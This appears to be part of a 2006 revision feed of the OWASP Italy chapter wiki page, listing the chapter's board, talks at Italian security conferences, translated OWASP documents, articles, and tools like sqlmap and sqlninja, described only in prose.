Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we will have a great speech at the [http://www.idc.com/italy/events/banking05/banking05_agenda.jsp IDC European IT Banking Forum 2005]. &lt;br /&gt;
Agenda:&lt;br /&gt;
- New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair&lt;br /&gt;
- Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Oct 05) '''SMAU 2005''' is the 42a International ICT &amp;amp; Consumer Electronics Exhibition for Italy. &lt;br /&gt;
SMAU has accepted our submission! [http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Giu 05) Thanks to Massimiliano Graziani we have translated in italian the '''&amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;'''. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (May 05) '''ISACA Roma Newsletter''' has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Apr 05) We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The presentation of the seminar we have done in '''ISACA Rome''' (31th March 2005) is now available [http://www.isacaroma.it/pdf/050331/meucci.zip here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Apr 05) We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Mar 05) Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
== Events ==&lt;br /&gt;
&lt;br /&gt;
=== October 7th, 2006 - SMAU 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
- &amp;quot;''The quest for secure code: code review and fundamental of secure coding.''&amp;quot;&lt;br /&gt;
Matteo Meucci will present an introduction to the new OWASP Projects and OWASP-Italy activities.&lt;br /&gt;
Paolo Perego (sp0nge) will speak about safe coding and the importance of code periodic review as natural software life cycle. Paolo will give a vision on code review and its phases&lt;br /&gt;
http://www.webb.it/event/eventview/5772&lt;br /&gt;
&lt;br /&gt;
Here are the presentations: &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Meucci_SMAU06.pdf| Meucci_SMAU06]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Perego_SMAU06.pdf| Perego_SMAU 06]]&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;''Advanced SQL Injection.''&amp;quot;&lt;br /&gt;
Antonio Parata (S4tan) will explain SQL Injection, and how SQL Inference works on PHP/MySql platform. He will present an open source tool to support the testing. &lt;br /&gt;
Alberto Revelli (icesurfer) will focus on Microsoft SQL Server: he will perform a live demo of sqlninja (http://sqlninja.sf.net), explaining how to obtain a pseudo-shell over SQL, how to escalate privileges, and how to play with the exotic equation: &amp;quot;SQL Injection + debug.exe + DNS = DOS prompt&amp;quot; !&lt;br /&gt;
http://www.webb.it/event/eventview/5774&lt;br /&gt;
&lt;br /&gt;
[[Image:Revelli_SMAU06.pdf|Revelli_SMAU06 ]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Parata_SMAU06.pdf|Parate_SMAU06]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:OWASP-Italy_at_SMAU06_2.JPG]]&lt;br /&gt;
Luca, Carlo, Alberto, Antonio, Stefano &amp;lt;br&amp;gt;&lt;br /&gt;
Matteo, Paolo, Giorgio&lt;br /&gt;
&lt;br /&gt;
=== September 29th, 2006 - OpenExp 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
September 30th, at 10:45 Antonio Parata (S4tan) will speak about SQL Injection: techniques, tools and practical examples.&lt;br /&gt;
&lt;br /&gt;
Abstract: Antonio will introduce some basic concepts about software security. &lt;br /&gt;
It will be shown how SQL Inference works on PHP/MySql platform and presented an open source tool to support the testing. Finally will be listed some advises to avoid common bugs.&lt;br /&gt;
http://www.openexp.it/&lt;br /&gt;
&lt;br /&gt;
OWASP-Italy will have a stand from September 29th to October 1st.&lt;br /&gt;
&lt;br /&gt;
[[Image:Antonio_Matteo_Carlo.JPG]]&lt;br /&gt;
[[Image:Antonio_speech.JPG]]&lt;br /&gt;
[[Image:Carlo.JPG]]&lt;br /&gt;
[[Image:Claudio_Luca.JPG]]&lt;br /&gt;
[[Image:Mayhem_Matteo.JPG]]&lt;br /&gt;
[[Image:OWASP_Banner2.JPG]]&lt;br /&gt;
[[Image:OWASP_Banner.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== June 21th, 2006 - InfoSecurity 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;. The event is organized and managed by the CLUSIT.&lt;br /&gt;
&lt;br /&gt;
Where: Sheraton Roma Hotel - Viale Del Pattinaggio, 100&lt;br /&gt;
When: 10,30 - 17,00&lt;br /&gt;
Who: Matteo Meucci and Alberto Revelli&lt;br /&gt;
Link: http://www.infosecurity.it/Roma/programma.php&lt;br /&gt;
&lt;br /&gt;
Agenda:&lt;br /&gt;
-- I Session --&lt;br /&gt;
Introduction to Web Application Security&lt;br /&gt;
• Which are the risks?&lt;br /&gt;
• Risk assessment of a web application&lt;br /&gt;
• Core pillars of web security&lt;br /&gt;
How to develop secure web applications:&lt;br /&gt;
• Guidelines and case-studies&lt;br /&gt;
&lt;br /&gt;
-- II Session --&lt;br /&gt;
How to realize a security audit of a web application&lt;br /&gt;
• The methodology OWASP Penetration Testing&lt;br /&gt;
• The tools: OWASP WebScarab&lt;br /&gt;
• Hands-on web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
• Advanced SQL Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== March 1st, 2006 - OWASP-Boston, Microsoft ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Jim Weiler (OWASP-Boston Chair), Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting of march.&lt;br /&gt;
[http://www.owasp.org/index.php/Boston More info here]&lt;br /&gt;
&lt;br /&gt;
=== November 5th, 2005 - IDC - European Banking Forum ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we have had a great speech at the IDC European IT Banking Forum 2005 (18 Nov 2005). http://www.idc.com/italy/events/banking05/banking05_agenda.jsp&lt;br /&gt;
Agenda:&lt;br /&gt;
* New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair&lt;br /&gt;
* Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy.&lt;br /&gt;
&lt;br /&gt;
You can download the report [http://cdn.idc.com/italy/downloads/report_banking05_eng.pdf here].&lt;br /&gt;
&lt;br /&gt;
You can download the Case-Study of a vulnerable Home Banking Web Application [http://www.owasp.org/docroot/owasp/misc/IDC_BankingForum05v1.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== October 5th, 2005 - OWASP-Italy@SMAU2005 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
SMAU is the 42a International ICT &amp;amp; Consumer Electronics Exhibition for Italy.&lt;br /&gt;
Alberto Revelli (our Technical Director) and Matteo Meucci have conducted a seminar talking about Web Application Security.&lt;br /&gt;
Alberto has presented his new project: [http://sqlninja.sourceforge.net sqlninja]. Very cool!!&lt;br /&gt;
&lt;br /&gt;
http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili&lt;br /&gt;
&lt;br /&gt;
=== May 25th, 2005 - ISACA Rome 2nd meeting ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
May 25th we'll be in ISACA Rome to present OWASP WebGoat and a real case of a Web Application Vulnerability.&lt;br /&gt;
Every one is invited to join the meeting.&lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
14.30 Registration&lt;br /&gt;
14.45 Matteo Meucci - Web Application Security Phase II&lt;br /&gt;
- OWASP WebScarab and PenTest Checklist&lt;br /&gt;
* A case-study of a Web Application Vulnerability: MMS Spoofing&lt;br /&gt;
--- Web Application analysis&lt;br /&gt;
--- Authentication and Billing of the MMS service&lt;br /&gt;
--- Vulnerabilities&lt;br /&gt;
--- Attack Analysis&lt;br /&gt;
* Learning the most common web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
--- Http Basics&lt;br /&gt;
--- HTML Clues&lt;br /&gt;
--- Hidden Field Tampering&lt;br /&gt;
--- How to spoof a Session Cookie&lt;br /&gt;
--- Stored Cross Site Scripting&lt;br /&gt;
--- Command Injection&lt;br /&gt;
--- SQL Injection&lt;br /&gt;
--- Fail Open Authentication&lt;br /&gt;
&lt;br /&gt;
The meeting is hold at:&lt;br /&gt;
Via Volturno, 65 (Rome) - Auditorium ATAC&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050525/OWASP.zip here].&lt;br /&gt;
&lt;br /&gt;
=== May 18th, 2005 - Workshop on Computer Crime 2005 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
May 18th, 2005 OWASP-Italy is invited to present OWASP Top 10 to the &amp;quot;Workshop on Computer Crime 2005&amp;quot; titled:&lt;br /&gt;
&amp;quot;EVOLUZIONI NORMATIVE E RECENTI PROBLEMATICHE DI SICUREZZA&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The meeting is held at: Sala delle conferenze dell'Istituto Centrale della Banche Popolari Italiane Via Verziere, 11&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.owasp.org/images/a/aa/Top10-ComputerCrimes.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== March 31th, 2005 - ISACA Rome meeting ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March 31th we'll be in ISACA Rome to present OWASP and the Web Application Security. Every one is invited to join the meeting.&lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
14.15 Registration&lt;br /&gt;
14.30 Matteo Meucci - Web Application Security&lt;br /&gt;
- OWASP Guide: how to build secure web application&lt;br /&gt;
- How to test your Web Application: WebScarab and the WebApp PenTest Checklist&lt;br /&gt;
- How to learn the most common web application vulnerability: WebGoat&lt;br /&gt;
- The Top Ten WebApp vulnerabilities&lt;br /&gt;
- Common error on developing Web Application:&lt;br /&gt;
Authentication mechanisms not &amp;quot;secure&amp;quot;&lt;br /&gt;
Buffer Overflow and crash of the service&lt;br /&gt;
Thief of identity: Cross Site Scripting&lt;br /&gt;
Manipulation of company data: SQL Injection&lt;br /&gt;
Reserved information: misconfiguration&lt;br /&gt;
Bad session management and thief of identity&lt;br /&gt;
- OWASP-Italy: projects and next challenges&lt;br /&gt;
&lt;br /&gt;
The meeting is hold at:&lt;br /&gt;
Via Volturno, 65 (Rome) - Auditorium ATAC&lt;br /&gt;
http://www.isacaroma.it/html/GiornateDiStudio.html&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050331/meucci.zip here].&lt;br /&gt;
&lt;br /&gt;
=== March 21th, 2005 - OWASP-Italy conducts a seminar in AlmaWeb ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March, the 21th OWASP-Italy has been invited at the University of Bologna to conduct a seminar regards to [http://www.almaweb.unibo.it/830.dyn Master in Management and Information Technology] titled “Web Application Security and OWASP”. &lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
- OWASP &amp;amp; Web Application Security&lt;br /&gt;
- Common Web Application Vulnerabilities&lt;br /&gt;
- A real case of web application vulnerability: MMS Spoofing&amp;amp;Billing&lt;br /&gt;
- Training: WebGoat&lt;br /&gt;
&lt;br /&gt;
== Publications ==&lt;br /&gt;
&lt;br /&gt;
=== October, 2006 ISACA Roma interviews OWASP-Italy ===&lt;br /&gt;
----&lt;br /&gt;
After the speeches that OWASP-Italy has done at [http://www.smau.it/catnews.asp?l=2&amp;amp;codcat=385 SMAU E-Academy 2006], ISACA Roma has interviewed some of the people of the Italian chapter. Follow the links for the full interviews (in italian):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli ]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/322 Stefano Di Paola &amp;amp; Giorgio Fedon]]&lt;br /&gt;
&lt;br /&gt;
=== Aug, 2006 - Article on Banca Finanza magazine ===&lt;br /&gt;
----&lt;br /&gt;
Banca Finanza, the italian magazine about finance and banking, has interviewed Raoul Chiesa talking about the new risks for the on-line banking security. Raoul speaks about OWASP and web application security [[Media:042006BF.pdf]]&lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Quaderno CLUSIT ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. &lt;br /&gt;
Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but it will be public in about 3 months.&lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Paper on SQL Injection and Inference on PHP/MySQLInference ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Antonio &amp;quot;s4tan&amp;quot; Parata has published an article about SQL Injection based on Inference for testing web application on PHP/MySQL platform.&lt;br /&gt;
[http://www.ictsc.it/papers/sqlInferenceOnMySql.html Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
=== May, 2006 - Published an article about OWASP and Top-10 Vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Luca Carettoni has published the article &amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;. [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
=== June, 2005 - OWASP Pen Test Checklist v 1.1 in Italian ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Massimiliano Graziani we have translated in italian the &amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.]&lt;br /&gt;
&lt;br /&gt;
=== May, 2005 - Isaca Roma Newsletter about OWASP-Italy ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
ISACA Roma Newsletter has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published &amp;quot;MMS Spoofing&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
Jim Hewitt, CISSP PMP working at CGI-AMS, affirms (slide#78):&lt;br /&gt;
&amp;quot;Very interesting analysis of spoofed cell phone messaging and fraudulent billing&amp;quot;. See:&lt;br /&gt;
www.techvalleynyissa.org/Resources/2005_07_WebApplicationSecurity.ppt&lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published an article on ICT Security magazine ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
=== March, 2005 - OWASP Top-10 in Italian ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Tools &amp;amp; Research ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Dec, 2006 - Sqlmap v0.2 ===&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci have released a second version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://sqlmap.sourceforge.net/ Here] you can download the tool&lt;br /&gt;
&lt;br /&gt;
=== September, 2006 - Wisec Project ===&lt;br /&gt;
&lt;br /&gt;
Stefano Di Paola is developing Wisec - The Wiki Security Project [http://www.wisec.it Here] you can accesses the project.&lt;br /&gt;
&lt;br /&gt;
=== July, 2006 - Sqlmap v0.0.1 ===&lt;br /&gt;
&lt;br /&gt;
Daniele Bellucci has developed a first version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://www.linux.it/~belch/?p=17 Here] you can download the tool&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy Sponsor ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP-Italy}}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Italy&amp;diff=14365</id>
		<title>Italy</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Italy&amp;diff=14365"/>
				<updated>2006-12-14T19:50:51Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Italy|extra=The chapter leader is [mailto:matteo.meucci@gmail.com Matteo Meucci]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-italy|emailarchives=http://lists.owasp.org/pipermail/owasp-italy}}&lt;br /&gt;
&lt;br /&gt;
== Local Activities ==&lt;br /&gt;
&lt;br /&gt;
* There is already a qualified group (CISSP, CISA, BS7799 Lead Auditor, OPST, OPSA) of volunteers working on the following tasks:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
- Working at the new OWASP Testing Guide! (Matteo Meucci, Alberto Revelli, Stefano Di Paola, Giorgio Fedon, Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin)&amp;lt;br&amp;gt;&lt;br /&gt;
- Translate all OWASP documentations in italian language (Matteo Paolelli, Massimiliano Graziani)&amp;lt;br&amp;gt;&lt;br /&gt;
- Writing articles about OWASP Project for infosecmag (Matteo Meucci, Alessandro Graziani, Lorenzo De Santis, Marco Graia, Luca Carettoni, Carlo Pelliccioni)&amp;lt;br&amp;gt;&lt;br /&gt;
- Working at the project OWASP Legal (Dario Vaccaro, Marco Scialdone)&amp;lt;br&amp;gt;&lt;br /&gt;
- Working at the project OWASP Code Review (Paolo Perego)&amp;lt;br&amp;gt;&lt;br /&gt;
- Developing WebAppSec tools &amp;amp; Research (Stefano Di Paola, Daniele Bellucci, Alberto Revelli, Antonio Parata)&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy Board ==&lt;br /&gt;
* This is the (not official) '''OWASP-Italy Board''':&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
Founder and Chair: Matteo Meucci&amp;lt;br&amp;gt;&lt;br /&gt;
Director of Communication: Raoul Chiesa&amp;lt;br&amp;gt;&lt;br /&gt;
Technical Director : Alberto Revelli&amp;lt;br&amp;gt;&lt;br /&gt;
R&amp;amp;D Director: Stefano Di Paola&amp;lt;br&amp;gt;&lt;br /&gt;
Technical Writer Director: Lorenzo De Santis&amp;lt;br&amp;gt;&lt;br /&gt;
Italian Translation of docs and papers: Matteo Paolelli, Massimiliano Graziani.&amp;lt;br&amp;gt;&lt;br /&gt;
Official active members: Giorgio Fedon, Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin, Paolo Perego, Daniele Bellucci.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== What is OWASP? ==&lt;br /&gt;
&lt;br /&gt;
[http://www.isacaroma.it/html/newsletter/?q=node/78 Here] you can read an interview talking about OWASP.&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy is a CLUSIT Member ==&lt;br /&gt;
&lt;br /&gt;
http://www.clusit.it/logo_clusit/clusit_logo_b130.gif&lt;br /&gt;
&lt;br /&gt;
Thanks to CLUSIT and OWASP Foundation we have established a cross-membership between the two organizations.&lt;br /&gt;
So OWASP-Italy is now a [http://www.clusit.it/soci.htm CLUSIT member]  and CLUSIT is an OWASP Educational Member&lt;br /&gt;
&lt;br /&gt;
== NEWS: OWASP-Italy at SMAU 2006 ==&lt;br /&gt;
&lt;br /&gt;
* (Oct 06) ISACA Roma has published several interview with OWASP-Italy members:&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Paolo Perego has created the new '''OWASP Orizon Project'''. Go to [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Matteo Meucci has been selected as the new editor of the '''OWASP Testing Guide v2'''. See OWASP [http://www.owasp.org/index.php/OWASP_Autumn_Of_Code_2006_:_Selected_Projects_Press_Release press release] and go to [http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide OWASP Testing Project v2]&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Carlo Pelliccioni is writing an article about the [http://www.owasp.org/index.php/Analysis_about_error_codes analysis of error codes] received by web servers. &lt;br /&gt;
&lt;br /&gt;
* Top10 Vulnerabilities - OWASP-Italy survey:&lt;br /&gt;
[[Image:Top 10 vulnerabilities-mini.GIF]]&lt;br /&gt;
&lt;br /&gt;
* (21 Jun 06) '''Infosecurity 2006''': the event is organized and managed by the CLUSIT.&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;.&lt;br /&gt;
[http://www.infosecurity.it/Roma/programma.php More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (1 Jun 06) '''&amp;quot;Quaderno CLUSIT&amp;quot;'''&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. &lt;br /&gt;
Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but will be made public in about 3 months.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (31 May 06) Luca Carettoni has published the article '''&amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;.''' [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (1 Mar 06) '''OWASP-Boston, Microsoft'''&lt;br /&gt;
Thanks to Jim Weiler, Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting.&lt;br /&gt;
[http://www.owasp.org/local/boston.html More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (18 Nov 05) '''IDC - European Banking Forum'''&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we will have a great speech at the [http://www.idc.com/italy/events/banking05/banking05_agenda.jsp IDC European IT Banking Forum 2005]. &lt;br /&gt;
Agenda:&lt;br /&gt;
- New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair&lt;br /&gt;
- Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Oct 05) '''SMAU 2005''' is the 42a International ICT &amp;amp; Consumer Electronics Exhibition for Italy. &lt;br /&gt;
SMAU has accepted our submission! [http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Giu 05) Thanks to Massimiliano Graziani we have translated in italian the '''&amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;'''. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (May 05) '''ISACA Roma Newsletter''' has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Apr 05) We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The presentation of the seminar we have done in '''ISACA Rome''' (31th March 2005) is now available [http://www.isacaroma.it/pdf/050331/meucci.zip here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Apr 05) We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Mar 05) Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
== Events ==&lt;br /&gt;
&lt;br /&gt;
=== October 7th, 2006 - SMAU 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
- &amp;quot;''The quest for secure code: code review and fundamental of secure coding.''&amp;quot;&lt;br /&gt;
Matteo Meucci will present an introduction to the new OWASP Projects and OWASP-Italy activities.&lt;br /&gt;
Paolo Perego (sp0nge) will speak about safe coding and the importance of code periodic review as natural software life cycle. Paolo will give a vision on code review and its phases&lt;br /&gt;
http://www.webb.it/event/eventview/5772&lt;br /&gt;
&lt;br /&gt;
Here are the presentations: &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Meucci_SMAU06.pdf| Meucci_SMAU06]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Perego_SMAU06.pdf| Perego_SMAU 06]]&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;''Advanced SQL Injection.''&amp;quot;&lt;br /&gt;
Antonio Parata (S4tan) will explain SQL Injection, and how SQL Inference works on PHP/MySql platform. He will present an open source tool to support the testing. &lt;br /&gt;
Alberto Revelli (icesurfer) will focus on Microsoft SQL Server: he will perform a live demo of sqlninja (http://sqlninja.sf.net), explaining how to obtain a pseudo-shell over SQL, how to escalate privileges, and how to play with the exotic equation: &amp;quot;SQL Injection + debug.exe + DNS = DOS prompt&amp;quot; !&lt;br /&gt;
http://www.webb.it/event/eventview/5774&lt;br /&gt;
&lt;br /&gt;
[[Image:Revelli_SMAU06.pdf|Revelli_SMAU06 ]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Parata_SMAU06.pdf|Parate_SMAU06]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
